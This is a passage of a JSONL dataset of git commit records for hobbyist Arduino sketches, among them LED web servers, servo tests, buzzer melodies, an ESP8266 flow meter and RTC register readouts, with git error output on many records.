GPIOA\n Wire.write(a); \/\/ port A\n Wire.endTransmission();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Testing\/MCP23017\/BlinkOnePinOnPortA\/BlinkOnePinOnPortA.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2097203a1afa9700ac2d85103fe386a52c5db774","subject":"one function setting four motors","message":"one function setting four motors\n","repos":"JackBDu\/robot-tour-guide","old_file":"arduino\/Robot\/Robot.ino","new_file":"arduino\/Robot\/Robot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JackBDu\/robot-tour-guide.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ecc1cdc68d34ecb58bad4e1d494a1bd1f6b771c2","subject":"Delete sonoff_mqtt.ino","message":"Delete sonoff_mqtt.ino","repos":"nakulsolanki\/HomeAutomation,nakulsolanki\/HomeAutomation,nakulsolanki\/HomeAutomation","old_file":"arduino\/sonoff_mqtt.ino","new_file":"arduino\/sonoff_mqtt.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nakulsolanki\/HomeAutomation.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bd2a66764d08c732aea8055e9520f028e82ef935","subject":"Example for LASS - PM2.5","message":"Example for LASS - PM2.5\n","repos":"neojou\/arduino-ameba,neojou\/arduino-ameba,neojou\/arduino-ameba","old_file":"example\/lass-pm25\/lass-pm25.ino","new_file":"example\/lass-pm25\/lass-pm25.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/neojou\/arduino-ameba.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"175173d5276f2f0c708a0b4c3541b60635a8f449","subject":"Added CreateAPModeWebServer example","message":"Added CreateAPModeWebServer example\n","repos":"battosai30\/Energia,battosai30\/Energia,battosai30\/Energia,battosai30\/Energia,battosai30\/Energia,battosai30\/Energia,battosai30\/Energia","old_file":"hardware\/cc3200\/libraries\/WiFi\/examples\/CreateAPModeWebServer\/CreateAPModeWebServer.ino","new_file":"hardware\/cc3200\/libraries\/WiFi\/examples\/CreateAPModeWebServer\/CreateAPModeWebServer.ino","new_contents":"\/\/\/\n\/\/\/ @mainpage\tCreateAPModeWebServer\n\/\/\/\n\/\/\/ @details\tStart WiFi in AP mode and a basic server\n\/\/\/ @n\n\/\/\/ * Start WiFi in in AP mode creating a network that you can connecto to\n\/\/\/ from a PC or SmartPhone. There is a limitation that only ONE device\n\/\/\/ can be connected. Trying to connect to the network with a second client\n\/\/\/ will fail. To connect with a different device, first disconnect the device\n\/\/\/ currently connected.\n\/\/\/\n\/\/\/ * Display a basic web-server to turn the LEDs on and off.\n\/\/\/\n\/\/\/ @n\n\/\/\/ @n @a\t\tDeveloped with [embedXcode+](http:\/\/embedXcode.weebly.com)\n\/\/\/\n\/\/\/ @author\t\tRobert Wessels\n\/\/\/ @date\t\tMar 08, 2016\n\/\/\/ @version\t201\n\/\/\/\n\/\/\/ @copyright\tThis example code is in the public domain.\n\/\/\/\n\/\/\/\n\/\/\/ @b Hardware\n\/\/\/ * CC3200 LaunchPad or MSP430\/TivaC LaunchPad with CC3200 BoosterPack\n\/\/\/ * Serical console\n\/\/\/\n\/\/\/ @b History\n\/\/\/ * Created November 2014 by Robert Wessels\n\/\/\/ This example code is in the public domain.\n\/\/\/\n\/\/\/ * Updated 2016-03-08 by Rei Vilo\n\/\/\/ Added basic web-server to turn the LEDs on and off.\n\/\/\/\n\n\n\/\/ Core library for code-sense - IDE-based\n#include \"Energia.h\"\n\n\n\/\/ Include application, user and local libraries\n\n#ifndef __CC3200R1M1RGC__\n#include <SPI.h> \/\/ Do not include SPI for CC3200 LaunchPad\n#endif\n#include <WiFi.h>\n\n\n\/\/ Define structures and classes\n\n\n\/\/ Define variables and constants\nchar wifi_name[] = \"energia\";\nchar wifi_password[] = \"launchpad\";\n\nWiFiServer myServer(80);\nuint8_t oldCountClients = 0;\nuint8_t countClients = 0;\n\n\n\/\/ Add setup code\nvoid setup()\n{\n Serial.begin(115200);\n delay(500);\n \n Serial.println(\"*** LaunchPad CC3200 WiFi Web-Server in AP Mode\");\n \n \/\/ Start WiFi and create a network with wifi_name as the network name\n \/\/ with wifi_password as the password.\n Serial.print(\"Starting AP... \");\n WiFi.beginNetwork(wifi_name, wifi_password);\n while (WiFi.localIP() == INADDR_NONE)\n {\n \/\/ print dots while we wait for the AP config to complete\n Serial.print('.');\n delay(300);\n }\n Serial.println(\"DONE\");\n \n Serial.print(\"LAN name = \");\n Serial.println(wifi_name);\n Serial.print(\"WPA password = \");\n Serial.println(wifi_password);\n \n \n pinMode(RED_LED, OUTPUT); \/\/ set the LED pin mode\n digitalWrite(RED_LED, LOW);\n pinMode(GREEN_LED, OUTPUT); \/\/ set the LED pin mode\n digitalWrite(GREEN_LED, LOW);\n pinMode(YELLOW_LED, OUTPUT); \/\/ set the LED pin mode\n digitalWrite(YELLOW_LED, LOW);\n \n IPAddress ip = WiFi.localIP();\n Serial.print(\"Webserver IP address = \");\n Serial.println(ip);\n \n Serial.print(\"Web-server port = \");\n myServer.begin(); \/\/ start the web server on port 80\n Serial.println(\"80\");\n Serial.println();\n}\n\n\/\/ Add loop code\nvoid loop()\n{\n \n countClients = WiFi.getTotalDevices();\n \n \/\/ Did a client connect\/disconnect since the last time we checked?\n if (countClients != oldCountClients)\n {\n if (countClients > oldCountClients)\n { \/\/ Client connect\n \/\/ digitalWrite(RED_LED, !digitalRead(RED_LED));\n Serial.println(\"Client connected to AP\");\n for (uint8_t k = 0; k < countClients; k++)\n {\n Serial.print(\"Client #\");\n Serial.print(k);\n Serial.print(\" at IP address = \");\n Serial.print(WiFi.deviceIpAddress(k));\n Serial.print(\", MAC = \");\n Serial.println(WiFi.deviceMacAddress(k));\n Serial.println(\"CC3200 in AP mode only accepts one client.\");\n }\n }\n else\n { \/\/ Client disconnect\n \/\/ digitalWrite(RED_LED, !digitalRead(RED_LED));\n Serial.println(\"Client disconnected from AP.\");\n Serial.println();\n }\n oldCountClients = countClients;\n }\n \n WiFiClient myClient = myServer.available();\n \n if (myClient)\n { \/\/ if you get a client,\n Serial.println(\". Client connected to server\"); \/\/ print a message out the serial port\n char buffer[150] = {0}; \/\/ make a buffer to hold incoming data\n int8_t i = 0;\n while (myClient.connected())\n { \/\/ loop while the client's connected\n if (myClient.available())\n { \/\/ if there's bytes to read from the client,\n char c = myClient.read(); \/\/ read a byte, then\n Serial.write(c); \/\/ print it out the serial monitor\n if (c == '\\n') { \/\/ if the byte is a newline character\n \n \/\/ if the current line is blank, you got two newline characters in a row.\n \/\/ that's the end of the client HTTP request, so send a response:\n if (strlen(buffer) == 0)\n {\n \/\/ HTTP headers always start with a response code (e.g. HTTP\/1.1 200 OK)\n \/\/ and a content-type so the client knows what's coming, then a blank line:\n myClient.println(\"HTTP\/1.1 200 OK\");\n myClient.println(\"Content-type:text\/html\");\n myClient.println();\n \n \/\/ the content of the HTTP response follows the header:\n myClient.println(\"<html><head><title>Energia CC3200 WiFi Web-Server in AP Mode<\/title><\/head><body align=center>\");\n myClient.println(\"<h1 align=center><font color=\\\"red\\\">LaunchPad CC3200 WiFi Web-Server in AP Mode<\/font><\/h1>\");\n myClient.print(\"Red LED <button onclick=\\\"location.href='\/RH'\\\">HIGH<\/button>\");\n myClient.println(\" <button onclick=\\\"location.href='\/RL'\\\">LOW<\/button><br>\");\n myClient.print(\"Green LED <button onclick=\\\"location.href='\/GH'\\\">HIGH<\/button>\");\n myClient.println(\" <button onclick=\\\"location.href='\/GL'\\\">LOW<\/button><br>\");\n myClient.print(\"Yellow LED <button onclick=\\\"location.href='\/YH'\\\">HIGH<\/button>\");\n myClient.println(\" <button onclick=\\\"location.href='\/YL'\\\">LOW<\/button><br>\");\n \n \/\/ The HTTP response ends with another blank line:\n myClient.println();\n \/\/ break out of the while loop:\n break;\n }\n else\n { \/\/ if you got a newline, then clear the buffer:\n memset(buffer, 0, 150);\n i = 0;\n }\n }\n else if (c != '\\r')\n { \/\/ if you got anything else but a carriage return character,\n buffer[i++] = c; \/\/ add it to the end of the currentLine\n }\n \n Serial.println();\n String text = buffer;\n \/\/ Check to see if the client request was \"GET \/H\" or \"GET \/L\":\n if (text.endsWith(\"GET \/RH\"))\n {\n digitalWrite(RED_LED, HIGH); \/\/ GET \/H turns the LED on\n Serial.println(\". RED_LED on\");\n }\n if (text.endsWith(\"GET \/RL\"))\n {\n digitalWrite(RED_LED, LOW); \/\/ GET \/L turns the LED off\n Serial.println(\". RED_LED off\");\n }\n if (text.endsWith(\"GET \/GH\"))\n {\n digitalWrite(GREEN_LED, HIGH); \/\/ GET \/H turns the LED on\n Serial.println(\". GREEN_LED on\");\n }\n if (text.endsWith(\"GET \/GL\"))\n {\n digitalWrite(GREEN_LED, LOW); \/\/ GET \/L turns the LED off\n Serial.println(\". GREEN_LED off\");\n }\n if (text.endsWith(\"GET \/YH\"))\n {\n digitalWrite(YELLOW_LED, HIGH); \/\/ GET \/H turns the LED on\n Serial.println(\". YELLOW_LED on\");\n }\n if (text.endsWith(\"GET \/YL\"))\n {\n digitalWrite(YELLOW_LED, LOW); \/\/ GET \/L turns the LED off\n Serial.println(\". YELLOW_LED off\");\n }\n }\n }\n \n \/\/ close the connection:\n myClient.stop();\n Serial.println(\". Client disconnected from server\");\n Serial.println();\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/cc3200\/libraries\/WiFi\/examples\/CreateAPModeWebServer\/CreateAPModeWebServer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"83f27255e44f8515dc5acb2e9fcd12e2d608e264","subject":"Create servo_test.ino","message":"Create servo_test.ino","repos":"sarbos\/Neptune,sarbos\/Neptune,sarbos\/Neptune,sarbos\/Neptune","old_file":"servo_test.ino","new_file":"servo_test.ino","new_contents":"#include <Servo.h> \n\nint ledpin = 13;\nint pbpin = 3;\/\/if we have a pushbutton \nint servopin = 9;\nint pulse = 2000;\n\nServo servo; \n\nint angle = 0; \/\/ servo position in degrees \n\nvoid setup() \n{ \n pinMode(pbpin,INPUT);\n Serial.begin(9600);\n servo.attach(servopin); \n pinMode(ledpin,OUTPUT);\n} \n \n \nvoid loop() \n{ \n int state1 = digitalRead(pbpin);\n if(state1 == HIGH){\n digitalWrite(ledpin,HIGH);\n \/\/ scan from 0 to 180 degrees\n for(angle = 0; angle < 180; angle++) \n { \/\/Serial.println(angle); \n \/\/counterclockwise \n servo.write(angle); \n delay(15); \n } \n \n \/\/ now scan back from 180 to 0 degrees\n for(angle = 180; angle > 0; angle--) \n { \/\/clockwise \n servo.write(angle); \n delay(15); \n }\n \n}else{\n digitalWrite(servopin,LOW); \n}\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'servo_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2442f57af4d3f038de4184a983079c4d264aa749","subject":"ascend function, temp function","message":"ascend function, temp function\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"33803e46fd9ed8d79e74ed49905101a9bcf74b62","subject":"Added sketch for sending wheel commands via XBEE","message":"Added sketch for sending wheel commands via XBEE\n","repos":"utdrobotchess\/chess-game","old_file":"Embedded-Arduino\/Testing Programs\/_14_03_19_RecVelCmds\/_14_03_19_RecVelCmds.ino","new_file":"Embedded-Arduino\/Testing Programs\/_14_03_19_RecVelCmds\/_14_03_19_RecVelCmds.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Embedded-Arduino\/Testing' did not match any file(s) known to git\nerror: pathspec 'Programs\/_14_03_19_RecVelCmds\/_14_03_19_RecVelCmds.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c17c0619e082700e7316adbc2ffcd7a87d9239c0","subject":"Create ProbeCubeGeiger0224.ino","message":"Create ProbeCubeGeiger0224.ino","repos":"Lafudoci\/ProbeCube","old_file":"Arduino with cc3000wifi based\/Gieger_module\/code\/ProbeCubeGeiger0224.ino","new_file":"Arduino with cc3000wifi based\/Gieger_module\/code\/ProbeCubeGeiger0224.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'with' did not match any file(s) known to git\nerror: pathspec 'cc3000wifi' did not match any file(s) known to git\nerror: pathspec 'based\/Gieger_module\/code\/ProbeCubeGeiger0224.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d8bd1145faea981747f3415eb49541e9da924173","subject":"Create arm.ino","message":"Create arm.ino","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"arm.ino","new_file":"arm.ino","new_contents":"#include <Servo.h>\n\nServo grab;\nServo pan_arm;\nServo tilt_arm;\nint cmd; \/\/the switch variable\nvoid setup(){\n Serial.begin(9600);\n grab.attach(3);\n tilt_arm.attach(2);\n pan_arm.attach(4);\n}\n\nvoid loop(){\n if(Serial.available() > 0){\n cmd = Serial.read(); \/\/ acceept a command\n switch (cmd) {\n case 'demo':\n grab.write(180);\n break;\n default: \n Serial.println(\"defaulting\");\n } \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"17c10053fd7eb44e86618996e89bf3719fae4f44","subject":"Improved sound effects","message":"Improved sound effects\n\nThought I'd provide a demo file of the sound effects before altering the\nKartRGB file. I'm personally quite proud of them.\n","repos":"jcuroboclub\/Project-Mario,jcuroboclub\/Project-Mario","old_file":"Zumo\/kartRGB\/Sound_Effects\/Sound_Effects.ino","new_file":"Zumo\/kartRGB\/Sound_Effects\/Sound_Effects.ino","new_contents":"\/\/ Lachlan Hillam - 23\/07\/14\n\/\/ Project Mario Sound Effects\n\/\/ Imporved buzzer sounds for the mario kart zumos. All melodies are stored in & played from flash memory.\n\/\/ This mitigates the need to load into RAM first.\n\n#include <ZumoBuzzer.h>\n#include <avr\/pgmspace.h> \/\/ Required for flash storage\n\nZumoBuzzer buzzer;\n\nconst char getPowerUp[] PROGMEM =\n \/\/ Powerup sound from Mario\n \"T500 L8 V15 ML gb>d>g>b a->c>e->a->>c b->d>f>b->>d\";\n \nconst char usePowerUp[] PROGMEM =\n \/\/ The classic star theme\n \"T300 L4 V15 MS >c>c>c ML d8>c8 R8 MS >c ML d8>c8d8 MS >c bbb ML c8b8 r8 MS b ML c8b8c8 MS b\"\n \"MS >c>c>c ML d8>c8 R8 MS >c ML d8>c8d8 MS >c bbb ML c8b8 r8 MS b ML c8b8c8 MS b\"\n \"MS >c>c>c ML d8>c8 R8 MS >c ML d8>c8d8 MS >c bbb ML c8b8 r8 MS b ML c8b8c8 MS b\"\n \"MS >c>c>c ML d8>c8 R8 MS >c ML d8>c8d8 MS >c\";\n \nconst char hazard[] PROGMEM = \n \/\/ Just the powerup theme, lowered an octave and in reverse\n \"T400 O3 L8 V15 ML >>d>b->f>db- >>c>a->e->ca- >b>g>dbg\";\n \nconst char coin[] PROGMEM = \n \/\/ Optional sound effect; the \"coin\" sound from Mario 64\n \"T400 L8 V15 ML >b8 >>e2..\";\n \nvoid setup() {\n \n \/\/ A demonstration of each melody\n buzzer.playFromProgramSpace(coin);\n delay(1000);\n buzzer.playFromProgramSpace(getPowerUp);\n delay(2000);\n buzzer.playFromProgramSpace(usePowerUp);\n delay(12000);\n buzzer.playFromProgramSpace(hazard);\n}\n\nvoid loop() {\n \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Zumo\/kartRGB\/Sound_Effects\/Sound_Effects.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7272ea96d66a1e8d89066c53ea1f3791c6e90d98","subject":"Fix subsuboption and sending MY_STOPID buffer overflow off by one bug","message":"Fix subsuboption and sending MY_STOPID buffer overflow off by one bug\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"43d076431d9b89be0f630a894c3616cbfe02e8e9","subject":"Added Arduino module","message":"Added Arduino module\n","repos":"jadarve\/roborave_2017,jadarve\/roborave_2017","old_file":"Arduino\/TestSerial\/TestSerial.ino","new_file":"Arduino\/TestSerial\/TestSerial.ino","new_contents":"\n\n\/\/Servo myservo; \/\/ create servo object to control a servo\n\/\/\/\/ twelve servo objects can be created on most boards\n\/\/\n\/\/int pos = 0; \/\/ variable to store the servo position\n\/\/\n\/\/void setup() {\n\/\/ myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n\/\/}\n\/\/\n\/\/void loop() {\n\/\/ for (pos = 0; pos <= 180; pos += 1) { \/\/ goes from 0 degrees to 180 degrees\n\/\/ \/\/ in steps of 1 degree\n\/\/ myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n\/\/ delay(15); \/\/ waits 15ms for the servo to reach the position\n\/\/ }\n\/\/ for (pos = 180; pos >= 0; pos -= 1) { \/\/ goes from 180 degrees to 0 degrees\n\/\/ myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n\/\/ delay(15); \/\/ waits 15ms for the servo to reach the position\n\/\/ }\n\/\/}\n\n\n#include <Servo.h>\n\nServo servoPan;\nServo servoTilt;\n\nchar serialChar;\nString serialCommand;\n\nvoid parseCommand(String command) {\n\n Serial.println(command);\n char commandCode = command.charAt(0);\n\n \/\/ servo command\n if(commandCode == 'S') {\n executeServoCommand(command);\n }\n else if(commandCode == 'M') {\n executeMotorCommand(command);\n }\n \n \n}\n\n\nint getInt(String cmd, int start, int& end) {\n\n end = cmd.indexOf(';', start);\n int val = cmd.substring(start, end).toInt();\n \/\/end = e;\n return val;\n}\n\n\/*\n * Executes a servo command.\n * @param command: command string in format \"S<v0>;<v1>;\\n\" where\n * v0 and v1 are strings with the rotation of servo 0 and 1 respectively.\n *\/\nvoid executeServoCommand(String command) {\n\n int end = 0;\n int v0 = getInt(command, 1, end);\n\n Serial.print(\"end: \");\n Serial.print(end);\n \n int v1 = getInt(command, end +1, end);\n\n Serial.print(\"end: \");\n Serial.print(end);\n\n Serial.print(\"v0: \");\n Serial.print(v0);\n Serial.print(\" v1: \");\n Serial.println(v1);\n\n\n servoPan.write(v0);\n servoTilt.write(v1);\n delay(10);\n \n}\n\n\nvoid executeMotorCommand(String command) {\n \n}\n\n\nvoid setup() {\n Serial.begin(115200);\n servoPan.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n servoTilt.attach(10); \/\/ attaches the servo on pin 10 to the servo object\n\n \/\/ initialize digital pin LED_BUILTIN as an output.\n pinMode(LED_BUILTIN, OUTPUT);\n \n Serial.print(\"Moni moni...\");\n}\n\n\nvoid loop() {\n \/\/Serial.print(\"Moni moni...\");\n \/\/delay(1000);\n\n\/\/ digitalWrite(LED_BUILTIN, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n\/\/ delay(500); \/\/ wait for a second\n\/\/ digitalWrite(LED_BUILTIN, LOW); \/\/ turn the LED off by making the voltage LOW\n\/\/ delay(500); \/\/ wait for a second\n}\n\nvoid serialEvent(){\n \n if (Serial.available()) {\n serialChar = Serial.read();\n if (serialChar == '\\n') {\n parseCommand(serialCommand);\n serialCommand = \"\";\n Serial.flush();\n }\n else {\n serialCommand += serialChar;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/TestSerial\/TestSerial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"994be38377d55dfd92b8077da86908c4c0bc3cf7","subject":"Delete Thermal_HUD.ino","message":"Delete Thermal_HUD.ino\n\nno longer trying to implement nearest neighbor average as an interpolation method","repos":"E-Ruhl\/ECE_411_Practicum,E-Ruhl\/ECE_411_Practicum","old_file":"Thermal Imaging HUD code\/Thermal_HUD.ino","new_file":"Thermal Imaging HUD code\/Thermal_HUD.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Thermal' did not match any file(s) known to git\nerror: pathspec 'Imaging' did not match any file(s) known to git\nerror: pathspec 'HUD' did not match any file(s) known to git\nerror: pathspec 'code\/Thermal_HUD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f64861a12672f6bcbf93a0e18080303c8c4f5984","subject":"Add servo demo","message":"Add servo demo\n","repos":"jrcutler\/Spektrum_Satellite,jrcutler\/Spektrum_Satellite","old_file":"examples\/Servo\/Servo.ino","new_file":"examples\/Servo\/Servo.ino","new_contents":"\/\/ Arduino Leonardo\/Micro Spektrum Satellite servo demo\n#include <Spektrum_Satellite.h>\n#include <Servo.h>\n\nSpektrum_Satellite rx;\n\n\/\/ 8 servos (from pin 12 down to pin 5)\nServo servo[8];\n\nvoid setup()\n{\n \/\/ setup serial ports\n Serial.begin(115200);\n Serial1.begin(115200);\n \/\/ setup servos\n for (uint8_t index = 0; index < 8; ++index)\n {\n servo[index].attach(12 - index);\n }\n}\n\nvoid updateServos()\n{\n for (uint8_t index = 0; index < 8; ++index)\n {\n servo[index].write(map(rx.getChannel(index), 0, 2047, 0, 179));\n }\n}\n\nvoid loop()\n{\n if (Serial1.available())\n {\n uint8_t c = Serial1.read();\n if (rx.update(c))\n {\n \/\/ frame received\n updateServos();\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Servo\/Servo.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"ed6e9250dbef0e91cdcad22ec746a6f2b70a043b","subject":"Initialize main ESP8266 program","message":"Initialize main ESP8266 program\n\nWrite the main code for the ESP8266 access point.\n","repos":"UFABC-NoBox\/Gout","old_file":"Gout.ino","new_file":"Gout.ino","new_contents":"#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n#include <WiFiManager.h> \/\/https:\/\/github.com\/tzapu\/WiFiManager\n\n\/\/ new\n#include <WiFiClient.h>\n#include <ESP8266mDNS.h>\n\nESP8266WebServer server(80);\n\n\nint flowPin = 4;\n\nunsigned long flowcount = 0;\n\n\n#define countof(a) (sizeof(a) \/ sizeof(a[0]))\n\n\nvoid handleRoot() {\n server.send(200, \"text\/plain\", \"hello from esp8266!\");\n}\n\nvoid handleNotFound(){\n String message = \"File Not Found\\n\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET)?\"GET\":\"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for (uint8_t i=0; i<server.args(); i++){\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n server.send(404, \"text\/plain\", message);\n}\n\nvoid setup(void){\n \/\/ put your setup code here, to run once:\n pinMode(flowPin, INPUT_PULLUP);\n attachInterrupt(flowPin, flow, CHANGE);\n\n Serial.begin(115200);\n\n WiFiManager wifiManager;\n\n \/\/sets timeout until configuration portal gets turned off\n \/\/useful to make it all retry or go to sleep\n \/\/in seconds\n wifiManager.setTimeout(180);\n\n \/\/reset saved settings\n \/\/wifiManager.resetSettings();\n\n \/\/fetches ssid and pass from eeprom and tries to connect\n \/\/if it does not connect it starts an access point with the specified name\n \/\/here \"AutoConnectAP\"\n \/\/and goes into a blocking loop awaiting configuration\n\n\n \/\/and goes into a blocking loop awaiting configuration\n if(!wifiManager.autoConnect(\"NoFlow\",\"87654321\")) {\n Serial.println(\"failed to connect and hit timeout\");\n delay(3000);\n \/\/reset and try again, or maybe put it to deep sleep\n ESP.reset();\n delay(5000);\n }\n\n \/\/if you get here you have connected to the WiFi\n Serial.println(\"connected...yeey :)\");\n\n\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n if (MDNS.begin(\"GOUT\")) {\n Serial.println(\"MDNS responder started\");\n }\n\n server.on(\"\/\", handleRoot);\n\n server.on(\"\/inline\", [](){\n server.send(200, \"text\/plain\", \"this works as well\");\n });\n\n server.onNotFound(handleNotFound);\n\n server.begin();\n Serial.println(\"HTTP server started\");\n\n \/\/ MDNS.addService(\"http\",\"tcp\",80);\n}\n\nvoid flow()\n{\nflowcount +=1;\n}\n\nvoid loop(){\n Serial.print(\"Flow in Liters: \"); Serial.println(flowcount\/450.0);\n\n \/\/Serial.print(digitalRead(flowPin));\n\n Serial.print(\"Flow in pulses: \"); Serial.println(flowcount);\n\n\n server.handleClient();\n\n \/\/webString = \"Flow: \" + String(flow1count\/450.0) + \" L\"; \/\/ Arduino has a hard time with float to string\n\n\n delay(500);\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Gout.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"18b4be02c664ef469fe2a7ef56ccc09403246772","subject":"Add files via upload","message":"Add files via upload\n\nTest code: PCF8523 RTC for Arduino","repos":"UCHIC\/WaterMonitor","old_file":"src\/piggy_back_loggers\/RTC_Tests.ino","new_file":"src\/piggy_back_loggers\/RTC_Tests.ino","new_contents":"\/\/ Test code to practice talking to the PCF8523 RTC on the Datalogger Shield\n\n#include <Wire.h>\n\nchar sunday[] = \"Sunday\";\nchar monday[] = \"Monday\";\nchar tuesday[] = \"Tuesday\";\nchar wednesday[] = \"Wednesday\";\nchar thursday[] = \"Thursday\";\nchar friday[] = \"Friday\";\nchar saturday[] = \"Saturday\";\n\nchar january[] = \"January\";\nchar february[] = \"February\";\nchar march[] = \"March\";\nchar april[] = \"April\";\nchar may[] = \"May\";\nchar june[] = \"June\";\nchar july [] = \"July\";\nchar august[] = \"August\";\nchar september[] = \"September\";\nchar october[] = \"October\";\nchar november[] = \"November\";\nchar december[] = \"December\";\n\nbyte deviceAddr = 0x68;\n\nbyte reg_Control_1 = 0x00;\nbyte reg_Control_2 = 0x01;\nbyte reg_Control_3 = 0x02;\nbyte reg_Seconds = 0x03;\nbyte reg_Minutes = 0x04;\nbyte reg_Hours = 0x05;\nbyte reg_Days = 0x06;\nbyte reg_Weekdays = 0x07;\nbyte reg_Months = 0x08;\nbyte reg_Years = 0x09;\nbyte reg_Minute_alarm = 0x0A;\nbyte reg_Hour_alarm = 0x0B;\nbyte reg_Day_alarm = 0x0C;\nbyte reg_Weekday_alarm = 0x0D;\nbyte reg_Offset = 0x0E;\nbyte reg_Tmr_CLKOUT_ctrl = 0x0F;\nbyte reg_Tmr_A_freq_ctrl = 0x10;\nbyte reg_Tmr_A_reg = 0x11;\nbyte reg_Tmr_B_freq_ctrl = 0x12;\nbyte reg_Tmr_B_reg = 0x13;\n\nbyte seconds = 0;\nbyte minutes = 0;\nbyte hours = 0;\nbyte days = 0;\nbyte weekdaynum = 0;\nchar *weekdays = 0;\nbyte monthnum = 0;\nchar *months = 0;\nbyte years = 0;\n\nvoid setup()\n{\n \/\/ put your setup code here, to run once:\n Wire.begin();\n Serial.begin(9600);\n while(!Serial);\n \n Serial.println(F(\"PCF8523 Registers:\"));\n Wire.beginTransmission(deviceAddr);\n Wire.write(reg_Control_1);\n Wire.endTransmission();\n \n Wire.requestFrom(deviceAddr, byte(20));\n byte reg = 0;\n while(Wire.available())\n {\n byte c = Wire.read();\n Serial.print(F(\"Register \"));\n Serial.print(reg);\n Serial.print(F(\": \"));\n Serial.println(c);\n switch(reg)\n {\n case 3:\n seconds = c;\n break;\n case 4:\n minutes = c;\n break;\n case 5:\n hours = c;\n break;\n case 6:\n days = c;\n break;\n case 7:\n weekdaynum = c;\n break;\n case 8:\n monthnum = c;\n break;\n case 9:\n years = c;\n break;\n default:\n break;\n }\n reg += 1;\n }\n Serial.println();\n\n seconds = (seconds & 0x0F) + ((seconds >> 4) * 10);\n minutes = (minutes & 0x0F) + ((minutes >> 4) * 10);\n hours = (hours & 0x0F) + ((hours >> 4) * 10);\n days = (days & 0x0F) + ((days >> 4) * 10);\n monthnum = (monthnum & 0x0F) + ((monthnum >> 4) * 10);\n years = (years & 0x0F) + ((years >> 4) * 10);\n \n switch(weekdaynum)\n {\n case 0:\n weekdays = sunday;\n break;\n case 1:\n weekdays = monday;\n break;\n case 